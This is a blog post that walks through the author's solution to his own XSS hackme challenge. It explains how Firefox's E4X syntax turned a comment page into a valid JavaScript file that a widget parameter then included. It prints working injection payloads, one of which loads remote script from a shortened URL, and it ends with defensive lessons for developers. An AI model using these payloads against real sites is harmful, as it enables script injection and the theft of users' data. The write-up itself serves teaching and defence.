Friday, October 15, 2010

XSS hackme challenge solution (part 1)

Time to reveal the first solution for the XSS hackme. To recap - there was a webpage with a simple form where you could enter comments then displayed back to you. The challenge was to inject and run an arbitrary Javascript code. The hard part was that everything you entered was properly escaped, so for example:

<script>alert(/xss/)</script>

became perfectly safe

&lt;script&gt;alert(/xss/)&lt;/script&gt;

which was not interpreted as Javascript by the browser.

But still, the code had two vulnerabilities - one allowed for an XSS in Firefox browsers, the other - in Internet Explorer (6,7,8). Today we'll talk about the Firefox one (SPOILERS AHEAD!)

WTF is E4X?

In 2006 Mozilla added a new syntactic sugar to its Javascript engine - ECMAScript for XML. E4X alows for easily specifing inline XML-like structures in JS. With this, the following becomes possible:
var person = <person>
  <name>Bob Smith</name>
  <likes>
    <os>Linux</os>
    <browser>Firefox</browser>
    <language>JavaScript</language>
    <language>Python</language>
  </likes>
</person>;

alert(person.name); // Bob Smith
alert(person['name']); // Bob Smith
alert(person.likes.browser); // Firefox
alert(person['likes'].browser); // Firefox
(source: Processing XML with E4X)

This is really cool & fast way to deal with XML within Javascript. No security issues there. Unfortunately there's more. You could insert values dynamically into XML you create by using { } braces:
var foo = "bar";
// insert foo value
var person = <name>{foo}</name>;
// or execute anonymous function and insert its return value
var person = <name>{function() {... return 'bar'}() }</name>;
This is also legal, and thanks to JS semicolon insertion and "a-single-variable-is-a-valid-statement" syntax, so is this:
<name>{function() {... return 'bar'}() }</name>
This is just a single JS statement creating XML object which is never used, but the embedded function is executed during its creation. Does this look familiar? How about this:
<html>
<head></head>
<body>
...
<div class="comment-text">{function() { alert(/xss/); }() }</div>
...
</body>
</html>
Bingo! This is a shoutbox.php file which is meant to be HTML document, but is also a perfectly valid JS file (for Firefox at least)! Technically, it's HTML/JS polyglot, a very interesting class for security. But that's another story. For now, we were able to inject a valid JS file containing our payload into a target system.

But how to run it?

To run the JS file, we need to include it in a webpage in <script src="">
element. We cannot create a new <script> element, because comments are HTML escaped, but we could use existing one! Here's the snippet from shoutbox.php:
if (!empty($_GET['widget'])) {
    // use only a-z and . for widget files (path traversal & xss protection)
    $widget = preg_replace('/[^a-z\.]/', '', $_GET['widget']);
    echo '<script type="text/javascript" src="' . htmlspecialchars($widget) . '"></script>';
}
The application includes a script from a filename passed in widget GET parameter. So it's enough if we just use URL http://kotowicz.net/shoutbox/shoutbox.php?widget=shoutbox.php. The script will be included and run, together with our payload.

Putting it together

To exploit the application we need to:
  • clear old comments,
  • inject the XSS comment
{ function(){ alert(/xss/) }() }
// or my favourite payload using jQuery document.ready call
{function() {
   $(function() {
      c=document.createElement('script');c.src='//goo.gl/dD4Q';
      document.body.appendChild(c);
   });
}()}
so that shoutbox.php becomes valid JS,
  • navigate to http://kotowicz.net/shoutbox/shoutbox.php?widget=shoutbox.php to execute that file as a 'widget'. Widget file name "shoutbox.php" passes all validations that only protected us from path traversal attacks. Some of you solved the widget=shoutbox.php part, but you lacked the correct E4X payload, sorry. 
The effect looks like this:
I'm in ur browser, sh00ting ur textz

Limitations

While E4X is a really interesting XSS vector, it does have some serious drawbacks:

Hardcore XML

Only perfect well-formed XML is allowed in E4X, so if a page has single XML error (which is very common) it's no longer a valid script. In fact, even a <!DOCTYPE or <?xml is invalid (although there's a bug for that that might get fixed one day).

XML cannot be the whole program

When a JS file consists only of a single XML element, this security warning is issued and the file is not executed. So, for 99.9% websites it's not exploitable. However our shoutbox has this little fellow in the footer:
<!--
{/copyright 2010 kkotowicz@gmail.com/}
-->
This is a block { } with a RegExp object, forming a dummy second JS statement, therefore skipping the security warning. This was supposed to be another clue, apart from github directory named e4x, which was, as kuza55 put it, "a dead giveaway".

If you're interested in E4X XSS issues, go see:

Lessons learned

XSS is not just a matter of escaping a few characters to be safe (this hint will come in handy in the IE vulnerability for the hackme). There are many, many vectors one can use to inject a script in a website. This time we used a JS syntax that is totally immune to htmlspecialchars() as it doesn't contain any < > or ".

XSS is also not all there is to website security. We could inject Javascript code, but to run it we had to exploit another vulnerability (Local File Inclusion). If widget parameter allowed only a whitelist of filenames (as opposed to characters) e.g. only allowed shout.js and zoom.js, we would not be able to trigger payload execution.

Know your stuff. Javascript is a really powerful language and it has it's flavors and features that few people know about. These features could be used also for exploitation, so it's better to know what to expect.

1 comment:

Virak Sun said...

This is pretty good , thanks for sharing. :)